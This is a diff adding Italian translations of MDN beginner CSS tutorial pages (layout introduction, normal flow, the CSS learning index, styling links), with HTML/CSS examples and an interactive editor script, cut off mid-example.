+<p>Questo articolo è un breve compendio di tutte le tecniche che occorre conoscere per sviluppare un layout. Continua la lettura per approfondire ogni singolo aspetto di questa tecnologia!</p>
+
+<p>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="it/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal flow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column layout</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Responsive design</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Beginner's guide to media queries</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy layout methods</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental layout comprehension assessment</a></li>
+</ul>
diff --git a/files/it/learn/css/css_layout/normal_flow/index.html b/files/it/learn/css/css_layout/normal_flow/index.html
new file mode 100644
index 0000000000..01e197ad76
--- /dev/null
+++ b/files/it/learn/css/css_layout/normal_flow/index.html
@@ -0,0 +1,108 @@
+---
+title: Flusso normale
+slug: Learn/CSS/CSS_layout/Normal_Flow
+tags:
+  - Beginner
+  - CSS
+  - Layout
+  - Learn
+  - float
+  - grid
+  - normal flow
+translation_of: Learn/CSS/CSS_layout/Normal_Flow
+---
+<div>{{LearnSidebar}}</div>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p>
+
+<p class="summary">Questo articolo illustra il flusso normale ovvero il modo in cui si dispongono gli elementi che formano una pagina web in maniera spontanea, senza manipolazioni.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Le basi di HTML (leggi Introduzione a HTML [<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>]) e nozioni sul funzionamento del CSS (leggi Introduzione al CSS [<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>].)</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Comprendere come i browser predispongono il layout delle pagine web prima di intervenire su di esso applicando le regole di stile CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Come specificato nella lezione precedente, che introduceva al layout CSS, gli elementi di una pagina web si dispongono secondo il flusso normale, a meno che non vengano applicate alcune regole CSS che ne mutano il comportamento.<br>
+ Come premesso, è possibile cambiare il comportamento degli elementi adattando la loro posizione all'interno del flusso oppure estrapolandoli da esso.<br>
+ La maniera migliore per costruire una pagina web è iniziare impostando una struttura chiara e solida, adatta a essere visualizzata nel flusso normale.<br>
+ In questo modo ci assicuriamo che il contenuto sia leggibile, anche quando l'utente usa un browser molto limitato oppure un dispositivo che, tramite screen reader, enuncia il contenuto della pagina.<br>
+ Inoltre, poiché il flusso normale è stato progettato per rendere leggibile il documento, possiamo cominciare da questa impostazione per effettuare le modifiche in maniera armonica, senza forzature.</p>
+
+<p>Prima di esplorare in maniera approfondita i vari metodi di layout, ripassiamo alcune nozioni apprese nei moduli precedenti sul flusso normale del documento.</p>
+
+<h2 id="Come_si_dispongono_gli_elementi_con_impostazione_predefinita">Come si dispongono gli elementi con impostazione predefinita?</h2>
+
+<p>Prima di tutto, il riquadro di un determinato elemento varia a seconda del suo contenuto. Successivamente intervengono altri fattori quali la spaziatura interna, il bordo e il margine esterno, seguendo esattamente la logica del Box Model che abbiamo studiato in precedenza.</p>
+
+<p>Come da impostazione predefinita, la larghezza del contenuto di un elemento di tipo blocco [<a href="/en-US/docs/Web/HTML/Block-level_elements">block level element</a>] copre il 100% della larghezza dell'elemento padre, mentre l'altezza dipende dall'altezza del suo contenuto. Invece, nel caso degli elementi in linea [<a href="/en-US/docs/Web/HTML/Inline_elements">Inline elements</a>], sia la larghezza che l'altezza dipendono dal contenuto. Non è possibile imporre una larghezza o un'altezza degli elementi in linea, perché essi si posizionano come contenuti fluidi all'interno di un elemento blocco. Se vogliamo stabilire le sue dimensioni, occorre usare <code>display:block</code> per fare in modo che assuma le proprietà di un elemento blocco (oppure <code>display: inline-block</code>, che presenta caratteristiche di entrambi gli stili).</p>
+
+<p>Il layout del flusso normale, lo abbiamo detto nell'introduzione al layout CSS, è il sistema impiegato dai browser per disporre gli elementi all'interno dell'area di visualizzazione. Come da impostazione predefinita, gli elementi di tipo blocco si dispongono secondo la direzione blocco, determinata dalla proprietà <a href="/en-US/docs/Web/CSS/writing-mode">writing-mode</a> dell'elemento padre (che assume valore <em>iniziale</em> horizontal-tb). Ciascun elemento occupa un'intera linea; inoltre è possibile inserire margini per separare i vari elementi. Nel caso di lingue come l'inglese, con la direzione di scrittura preimpostata da sinistra verso destra e dall’alto verso il basso, gli elementi blocco vengono disposti verticalmente dall'alto in basso.</p>
+
+<p>Gli elementi in linea si comportano diversamente: non occupano una nuova linea ciascuno, bensì si susseguono lungo la medesima linea e si allineano ai contenuti testuali adiacenti sino a riempire l'intera larghezza dell'elemento padre di tipo blocco. Quando non vi è più spazio, gli elementi vanno fluidamente a capo per occupare la linea successiva.</p>
+
+<p>Se due elementi adiacenti hanno margini contigui, il margine maggiore prevale su quello più esiguo che sparirà del tutto. Questo comportamento, già trattato negli articoli sui CCS di Mozilla, prende il nome di "margin collapsing" (compressione dei margini).</p>
+
+<p>Il basilare esempio di seguito illustra il comportamento del flusso normale:</p>
+
+<div id="Normal_Flow">
+<pre class="brush: html notranslate">&lt;h1&gt;Flusso di base del documento&lt;/h1&gt;
+
+&lt;p&gt;Io sono un tipico elemento blocco. L'elemento blocco che viene dopo di me, occupa la linea orizzontale successiva&lt;/p&gt;
+
+&lt;p&gt;Da impostazione predefinita occupiamo il 100% della larghezza del nostro elemento padre, mentre l'altezza di ciascuno è determinata dal suo contenuto. Le nostre larghezza e altezza totali sono uguali a contenuto + margine interno + altezza/larghezza del bordo.&lt;/p&gt;
+
+&lt;p&gt;Siamo separati dai margini. A causa del "margin collapse", tra uno e l'altro di noi rimane un solo margine, il maggiore, mentre il minore si comprime.&lt;/p&gt;
+
+&lt;p&gt;Gli elementi in linea &lt;span&gt;come questo&lt;/span&gt; e &lt;span&gt;quest’altro&lt;/span&gt; si collocano entrambi sulla stessa linea e, spazio permettendo, sulla stessa linea dei nodi di testo adiacenti.
+Gli elementi in linea che eccedono la larghezza dell'elemento padre, &lt;span&gt; se possibile vanno a capo, continuando su una nuova linea, proprio come questo testo,&lt;/span&gt;, altrimenti si spostano direttamente sulla linea successiva proprio come la seguente immagine: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css notranslate">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: rgba(255,84,104,0.3);
+  border: 2px solid rgb(255,84,104);
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: white;
+  border: 1px solid black;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Normal_Flow', '100%', 500) }}</p>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Ora che abbiamo compreso il flusso normale, cioè il meccanismo predefinito con cui un browser dispone gli elementi nella pagina, passiamo a studiare come cambiare l'impostazione predefinita di visualizzazione al fine di sviluppare il layout secondo la progettazione desiderata.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal flow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column layout</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Responsive design</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Beginner's guide to media queries</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy layout methods</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental layout comprehension assessment</a></li>
+</ul>
diff --git a/files/it/learn/css/index.html b/files/it/learn/css/index.html
new file mode 100644
index 0000000000..9ffaa802c9
--- /dev/null
+++ b/files/it/learn/css/index.html
@@ -0,0 +1,65 @@
+---
+title: Impara a stilizzare HTML usando i CSS
+slug: Learn/CSS
+tags:
+  - Beginner
+  - CSS
+  - CodingScripting
+  - NeedsContent
+  - NeedsTranslation
+  - TopicStub
+translation_of: Learn/CSS
+---
+<div>{{LearnSidebar}}</div>
+
+<div>I fogli di stile a cascata - o {{glossary("CSS")}} - sono la seconda tecnologia che dovresti iniziare a imparare dopo l' {{glossary("HTML")}}. Mentre l'HTML è usato per definire la struttura e la semantica del tuo contenuto, i CSS vengono utilizzati per modellarlo e disporlo graficamente. Per esempio puoi utilizzare il CSS per modificare il colore e la dimensione di un testo, animare certi elementi della pagina, aggiungere margini e bordi e molte altre casistiche.</div>
+
+<div></div>
+
+<div>Percorso di apprendimento</div>
+
+<div>Dovresti imparare prima i concetti base dell' HTML prima di cimentarti con i CSS. Ti consigliamo di leggere prima il modulo di introduzione <a href="/it/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Cominciare con l'HTML</a>.</div>
+
+<div>Con tale modulo potrai imparare:</div>
+
+<div></div>
+
+<ul>
+ <li>CSS, iniziando con il modulo <a href="it/docs/Learn/CSS/First_steps">Introduzione ai CSS</a></li>
+ <li>Una semantica <a href="/it/docs/Web/HTML/HTML5">HTML</a> più avanzata</li>
+ <li><a href="/it/docs/Web/JavaScript/Cos%C3%A8_JavaScript">Javascript</a>, e come usarlo per aggiungere funzionalità dinamiche alle pagine web</li>
+</ul>
+
+<p>Una volta che avrai compreso i fondamenti dell'HTML, ti consigliamo di imparare HTML e CSS contemporaneamente. Questo perchè l'HTML è molto più interessante e più divertente da imparare quando applichi anche i CSS, e non puoi imparare veramente i CSS senza conoscere l'HTML.</p>
+
+<p>Prima di iniziare questi argomenti, dovresti avere una certa familiarità nell'uso dei computer e nella navigazione sul web. Dovresti avere un ambiente di lavoro di base impostato secondo i dettagli forniti in <a href="/en-US/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installazione di software fondamentali</a>, e sapere come creare e gestire file, come esposto in <a href="/en-US/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Gestire i file</a> — entrambi fanno parte della nostra guida completa per principianti <a href="/en-US/docs/Learn/Getting_started_with_the_web">Primi passi con il web</a>.</p>
+
+<p>Ti raccomandiamo di completare con <a href="/en-US/docs/Learn/Getting_started_with_the_web">Primi passi con il web</a> prima di continuare con questo argomento. Questo non è assolutamente indispensabile in quanto molti argomenti affrontati nell'articolo sulle basi del CSS sono anche affrontati nella nostra <a href="it/docs/Learn/CSS/First_steps">Introduzione ai CSS</a>, anche se in dettaglio molto maggiore.</p>
+
+<h2 id="Moduli">Moduli</h2>
+
+<p>Questo argomento contiene i seguenti moduli, suggeriti in ordine di lettura. Dovresti iniziare con il primo modulo.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduzione al CSS</a></dt>
+ <dd>Questo modulo ti introdurrà alle basi di come funzionano i CSS, inclusi selettori e proprietà, scrivere regole CSS, applicare CSS ad HTML, come specificare lunghezza, colore ed altri elementi in CSS, ereditarietà e cascata, basi del box model ed il debug di CSS.</dd>
+ <dt><a href="/it/docs/Learn/CSS/Styling_text">Styling text</a></dt>
+ <dd>Guardiamo ai fondamenti di formattazione del testo, inclusa l'impostazione del carattere, grassetto e corsivo, la spaziatura di lettere e l'interlinea, ombreggiatura ed altre caratteristiche del testo. Concludiamo il modulo guardando a come applicare un carattere personalizzato alla tua pagina e stilizzando liste e collegamenti.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes">Styling boxes</a></dt>
+ <dd>Subito dopo diamo un occhio a come stilizzare i contenitori, uno dei passi fondamentali verso la creazione di una pagina web. In questo modulo riepiloghiamo il modello dei contenitori per poi affrontare il controllo della disposizione degli elementi impostando riempimento, bordi e margini, impostando colori di sfondo, immagini ed altre caratteristiche come ombre e filtri sui contenitori.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout">CSS layout</a></dt>
+ <dd>A questo punto abbiamo già esaminato i fondamenti dei CSS, come modellare il testo e come modellare e manipolare le caselle in cui si trovano i tuoi contenuti. Ora è il momento di vedere come posizionare le tue box nel posto giusto rispetto al viewport e tra di loro. Abbiamo coperto i prerequisiti necessari in modo che ora possiamo immergerci in profondità nel layout CSS, esaminando diverse impostazioni di visualizzazione, metodi di layout tradizionali che coinvolgono float e posizionamento e nuovi strumenti di layout fangled come flexbox.</dd>
+</dl>
+
+<h2 id="Solving_common_CSS_problems">Solving common CSS problems</h2>
+
+
+
+<p>Usare CSS per risolvere problemi comuni fornisce collegamenti a sezioni di contenuto che spiegano come utilizzare CSS per risolvere problemi molto comuni durante la creazione di una pagina web: Styling Box.</p>
+
+<h2 id="See_also">See also</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS">CSS su MDN</a></dt>
+ <dd>Il punto d'ingresso principale per la documentazione CSS su MDN, dove troverai documentazione di riferimento dettagliata per tutte le funzionalità del linguaggio CSS. Vuoi conoscere tutti i valori che una proprietà può assumere? Questo è un buon posto dove andare.</dd>
+</dl>
diff --git a/files/it/learn/css/styling_text/definire_stili_link/index.html b/files/it/learn/css/styling_text/definire_stili_link/index.html
new file mode 100644
index 0000000000..b6bdc7a6fa
--- /dev/null
+++ b/files/it/learn/css/styling_text/definire_stili_link/index.html
@@ -0,0 +1,438 @@
+---
+title: Definire gli stili dei link
+slug: Learn/CSS/Styling_text/Definire_stili_link
+translation_of: Learn/CSS/Styling_text/Styling_links
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</div>
+
+<p class="summary">Quando si vogliono assegnare degli stili ai <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">link</a>, è importante capire come fare uso delle pseudo-classi per definire efficacemente gli stili dei vari stati dei link, e come attribuire gli stili ai link per il loro uso nei più comuni elementi di interfaccia, come i menu di navigazione e le schede. Nel seguente articolo illustreremo tutti questi argomenti.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscenza informatica di base, elementi di HTML (leggi <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), elementi di CSS (leggi <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>), <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fondamenti di testo e font con CSS</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obbiettivo:</th>
+   <td>Imparare a definire gli stili degli stati dei link, e come utilizzarli efficacemente per i più comuni elementi di interfaccia come i menu di navigazione.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Uno_sguardo_ai_link">Uno sguardo ai link</h2>
+
+<p>Abbiamo visto come i link possano essere impiegati nel tuo codice HTML in accordo con le <em>best practices</em> viste in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creare gli hyperlink</a>. Nell'articolo aumenteremo ulteriormente questa conoscenza, mostrandoti le <em>best practices</em> per la definizione degli stili dei link.</p>
+
+<h3 id="Stati_dei_link">Stati dei link</h3>
+
+<p>La prima cosa da capire è il concetto di <em>stato dei link</em> — esistono stati differenti dei link, ai quali è possibile attribuire gli stili utilizzando differenti <a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-classes">pseudo-class</a>i:</p>
+
+<ul>
+ <li><strong>Link (unvisited)</strong>: è lo stato predefinito in cui il link risiede, quando non è in un altro stato. A questo stato può essere attribuito specificatamente uno stile utilizzando la pseudo-classe {{cssxref(":link")}}.</li>
+ <li><strong>Visited</strong>: stato del link quando è già stato visitato (esiste nella storia del browser), si può attribuire la pseudo-classe {{cssxref(":visited")}}.</li>
+ <li><strong>Hover</strong>: stato del link quando si passa il mouse sopra di esso, si può attribuire la pseudo-classe {{cssxref(":hover")}}.</li>
+ <li><strong>Focus</strong>: stato del link quando è focalizzato (ad esempio se ci si posiziona tramite la tastiera usando il tasto <kbd>Tab</kbd> o simili, oppure via programma usando {{domxref("HTMLElement.focus()")}}) — a questo si può attribuire la pseudo-classe {{cssxref(":focus")}}.</li>
+ <li><strong>Active</strong>: stato del link quando è attivato (ad esempio cliccandoci sopra), si può attribuire la pseudo-classe {{cssxref(":active")}}.</li>
+</ul>
+
+<h3 id="Stili_predefiniti">Stili predefiniti</h3>
+
+<p>L'esempio seguente mostra il comportamento predefinito di un link (in questo caso il CSS aumenta il font e centra il testo per risaltarlo maggiormente).</p>
+
+<pre class="brush: html">&lt;p&gt;&lt;a href="#"&gt;A simple link&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">p {
+  font-size: 2rem;
+  text-align: center;
+}</pre>
+
+<p>{{ EmbedLiveSample('Default_styles', '100%', 120) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Tutti i link inseriti negli esempi della pagina sono simulati — sono stati inseriti i simboli <code>#</code> (cancelletto) o $ (sterlina) al posto dell'URL reale. Questo perché se fossero inclusi gli URL reali, cliccando su di essi, si interromperebbero gli esempi (si potrebbe verificare un errore, o caricare una pagina da cui non si potrebbe tornare indietro). Il <code>#</code> (cancelletto) invece si connette esclusivamente alla pagina corrente.</p>
+</div>
+
+<p>Quando esplorerete gli stili predefiniti, si noteranno alcune cose:</p>
+
+<ul>
+ <li>I link sono sottolineati.</li>
+ <li>I link non visitati sono blu.</li>
+ <li>I link visitati sono viola.</li>
+ <li>Passando il mouse sopra un link, il puntatore si trasforma in una manina.</li>
+ <li>I link con focus attivo sono contornati — dovresti essere in grado di attivare il focus sui link della pagina utilizzando il tasto Tab (su Mac, occorre abilitare l'opzione <em>Full Keyboard Access: All controls</em>premendo <kbd>Ctrl</kbd> + <kbd>F7</kbd>).</li>
+ <li>I link attivi sono rossi (provare a tenere premuto il mouse sul link quando vi si clicca sopra).</li>
+</ul>
+
+<p>E' abbastanza interessante il fatto che questi stili predefiniti sono relativamente gli stessi rispetto a quelli usciti nei primi tempi dei browser verso la metà degli anni 90. Questo perché gli utenti conoscono e si aspettano questo comportamento — se i link avessero stili differenti da questi, confonderebbero un sacco di persone. Questo non significa che non si debbano definire gli stili del tutto, ma solo che non ci si deve allontanare troppo dalla visualizzazione che gli utenti si aspettano. Si dovrebbe almeno:</p>
+
+<ul>
+ <li>Utilizzare la sottolineatura solo per i link, e non per altri elementi. Se non si vuole usare la sottolineatura per i link, occorrerebbe evidenziarli in qualche altro modo.</li>
+ <li>Far reagire i link quando vi si passa il mouse sopra o li si evidenzia con il focus, ed anche in un modo leggermente diverso quando si attivano.</li>
+</ul>
+
+<p>Gli stili predefiniti possono essere modificati o disattivati utilizzando le seguenti proprietà dei CSS:</p>
+
+<ul>
+ <li>{{cssxref("color")}} per il colore del testo.</li>
+ <li>{{cssxref("cursor")}} per lo stile del puntatore del mouse — è consigliabile non disattivare questo stile, a meno che non si abbia una buona ragione.</li>
+ <li>{{cssxref("outline")}} per l'outline del testo (l'outline è simile al bordo, la sola differenza è che il bordo occupa spazio nel riquadro mentre l'outline no; esso si colloca esternamente rispetto al background). L'outline è considerato un valido aiuto alla accessibilità, pertanto occorre fare una attenta valutazione prima di disattivarlo; si dovrebbero almeno raddoppiare gli stili dati sia per lo stato <em>hover</em>, che  per lo stato <em>focus</em>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: tu non sei limitato alle suddette proprietà per definire gli stili dei tuoi link — sentiti libero di utilizzare le proprietà che più ti piacciono. Cerca solo di non diventare troppo fantasioso !</p>
+</div>
+
+<h3 id="Definiamo_qualche_stile">Definiamo qualche stile</h3>
+
+<p>Ora che abbiamo visto qualche dettaglio sugli stati predefiniti, diamo uno sguardo ad un tipico set di stili dei link.</p>
+
+<p>Per cominciare, scriviamo il nostro set di stili vuoto:</p>
+
+<pre class="brush: css">a {
+
+}
+
+
+a:link {
+
+}
+
+a:visited {
+
+}
+
+a:focus {
+
+}
+
+a:hover {
+
+}
+
+a:active {
+
+}</pre>
+
+<p>Questo ordine è importante perché gli stili dei link si sovrappongono l'uno sull'altro, per esempio gli stili definiti nella prima regola si applicheranno a tutti quelli seguenti, e quando si attiva un link, ci si passa anche sopra con il mouse. Se si indicano nell'ordine sbagliato, le cose potrebbero non lavorare nel verso giusto.  Per ricordare questo ordine, si può provare ad usare, come aiuto mnemonico, <em><strong>L</strong>o<strong>V</strong>e <strong>F</strong>ears <strong>HA</strong>te</em>.</p>
+
+<p>Adesso si aggiungano alcune altre impostazioni per una appropriata definizione degli stili:</p>
+
+<pre class="brush: css">body {
+  width: 300px;
+  margin: 0 auto;
+  font-size: 1.2rem;
+  font-family: sans-serif;
+}
+
+p {
+  line-height: 1.4;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  padding: 2px 1px 0;
+}
+
+a:link {
+  color: #265301;
+}
+
+a:visited {
+  color: #437A16;
+}
+
+a:focus {
+  border-bottom: 1px solid;
+  background: #BAE498;
+}
+
+a:hover {
+  border-bottom: 1px solid;
+  background: #CDFEAA;
+}
+
+a:active {
+  background: #265301;
+  color: #CDFEAA;
+}</pre>
+
+<p>Forniamo anche il seguente esempio HTML a cui applicare il CSS:</p>
+
+<pre class="brush: html">&lt;p&gt;There are several browsers available, such as &lt;a href="#"&gt;Mozilla
+Firefox&lt;/a&gt;, &lt;a href="#"&gt;Google Chrome&lt;/a&gt;, and
+&lt;a href="#"&gt;Microsoft Edge&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>Mettendoli insieme il risultato sarà questo:</p>
+
+<p>{{ EmbedLiveSample('Styling_some_links', '100%', 150) }}</p>
+
+<p>Quindi che cosa abbiamo fatto qui? Il risultato è certamente differente rispetto allo stile predefinito, ma propone ancora un'esperienza abbastanza familiare per gli utenti che sanno cosa sta succedendo:</p>
+
+<ul>
+ <li>Le prime due regole non sono interessanti per la discussione.</li>
+ <li>La terza regola usa il selettore <code>a</code>  per sbarazzarsi della sottolineatura del testo e dell'outline per il focus (che comunque variano a seconda dei browser) , ed aggiunge una piccola quantità di <em>padding</em> ad ogni link — tutto questo diventerà chiaro più avanti.</li>
+ <li>Per i successivi usiamo i selettori <code>a:link</code> e <code>a:visited</code> per impostare una coppia di variazioni dei colori sui link dei visitati e non visitati, così sono distinti.</li>
+ <li>Le due regole successive usano <code>a:focus</code> e<code>a:hover</code> per impostare i link del focus e del passaggio del mouse in modo da avere differenti colori di background, più una sottolineatura per evidenziare ulteriormente il link. Qui sono due i punti da notare:
+  <ul>
+   <li>La sottolineatura è stata creata usando {{cssxref("border-bottom")}}, e non {{cssxref("text-decoration")}} — alcune persone preferiscono questo stile perché il precedente consente migliori opzioni rispetto al secondo, ed è anche disegnato leggermente pù sottile, in questo modo non taglia le lettere discendenti delle parole da sottolinare (per esempo le code delle g e delle y).</li>
+   <li>Il valore {{cssxref("border-bottom")}} è stato impostato con <code>1px solid</code>, senza indicare un colore. In questo modo, il bordo adotta lo stesso colore del testo dell'elemento, ed è utile in quei casi in cui il testo usa un colore differente per ciascun caso.</li>
+  </ul>
+ </li>
+ <li>Per ultimo, <code>a:active</code> imposta i link con uno schema di colore invertito quando sono attivati, per render chiaro che sta succedendo qualcosa di importante!</li>
+</ul>
+
+<h3 id="Active_learning_Definisci_i_tuoi_stili">Active learning: Definisci i tuoi stili</h3>
+
+<p>In questa sessione di <em>active learning</em>, ci piacerebbe che tu prendessi il nostro set di regole vuoto e aggiungessi le tue dichiarazioni per rendere i link veramente mitici. Usa la tua immaginazione e scatenati. Siamo sicuri che ti potrà venire in mente qualcosa di più fantasioso e funzionale rispetto al nostro esempio sopra.</p>
+
+<p>Se fai un errore, puoi sempre ripartire usando il pulsante <em>Reset</em>. E se rimani bloccato, clicca sul bottone S<em>how solution</em> per inserire l'esempio che ti abbiamo mostrato sopra.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"&gt;
+  &lt;h2&gt;HTML Input&lt;/h2&gt;
+  &lt;textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;&lt;p&gt;There are several browsers available, such as &lt;a href="#"&gt;Mozilla
+ Firefox&lt;/a&gt;, &lt;a href="#"&gt;Google Chrome&lt;/a&gt;, and
+&lt;a href="#"&gt;Microsoft Edge&lt;/a&gt;.&lt;/p&gt;&lt;/textarea&gt;
+
+  &lt;h2&gt;CSS Input&lt;/h2&gt;
+  &lt;textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;a {
+
+}
+
+a:link {
+
+}
+
+a:visited {
+
+}
+
+a:focus {
+
+}
+
+a:hover {
+
+}
+
+a:active {
+
+}&lt;/textarea&gt;
+
+  &lt;h2&gt;Output&lt;/h2&gt;
+  &lt;div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;&lt;/div&gt;
+  &lt;div class="controls"&gt;
+    &lt;input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"&gt;
+    &lt;input id="solution" type="button" value="Show solution" style="margin: 10px 0 0 10px;"&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var htmlInput = document.querySelector(".html-input");
+var cssInput = document.querySelector(".css-input");
+var reset = document.getElementById("reset");
+var htmlCode = htmlInput.value;
+var cssCode = cssInput.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+var styleElem = document.createElement('style');
+var headElem = document.querySelector('head');
+headElem.appendChild(styleElem);
+
+function drawOutput() {
+  output.innerHTML = htmlInput.value;
+  styleElem.textContent = cssInput.value;
+}
+
+reset.addEventListener("click", function() {
+  htmlInput.value = htmlCode;
+  cssInput.value = cssCode;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+  htmlInput.value = htmlCode;
+  cssInput.value = 'p {\n  font-size: 1.2rem;\n  font-family: sans-serif;\n  line-height: 1.4;\n}\n\na {\n  outline: none;\n  text-decoration: none;\n  padding: 2px 1px 0;\n}\n\na:link {\n  color: #265301;\n}\n\na:visited {\n  color: #437A16;\n}\n\na:focus {\n  border-bottom: 1px solid;\n  background: #BAE498;\n}\n\na:hover {\n  border-bottom: 1px solid;\n  background: #CDFEAA;\n}\n\na:active {\n  background: #265301;\n  color: #CDFEAA;\n}';
+  drawOutput();
+});
+
+htmlInput.addEventListener("input", drawOutput);
+cssInput.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p>
+
+<h2 id="Includere_le_icone_nei_link">Includere le icone nei link</h2>
+
+<p>Una pratica comune consiste nell'includere le icone sui link, per fornire più di un indicatore per quanto riguarda il tipo di contenuto a cui punta il link. Vediamo sotto un esempio molto semplice che associa un'icona ad un link esterno (sono i link che collegano ad altri siti). In genere tale icona è rappresentata come una piccola freccia che indica fuori da un box — per questo esempio, useremo <a href="https://icons8.com/web-app/741/external-link">il grande esempio fornito da icons8.com</a>.</p>
+
+<p>Guardiamo l'HTML e il CSS che ci daranno l'effetto che vogliamo. Per prima cosa, abbiamo del semplice HTML da definire:</p>
+
+<pre class="brush: html">&lt;p&gt;For more information on the weather, visit our &lt;a href="#"&gt;weather page&lt;/a&gt;,
+look at &lt;a href="#"&gt;weather on Wikipedia&lt;/a&gt;, or check
+out &lt;a href="#"&gt;weather on Extreme Science&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>Quindi il CSS:</p>
+
+<pre class="brush: css">body {
+  width: 300px;
+  margin: 0 auto;
+  font-family: sans-serif;
+}
+
+p {
+  line-height: 1.4;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  padding: 2px 1px 0;
+}
+
+a:link {
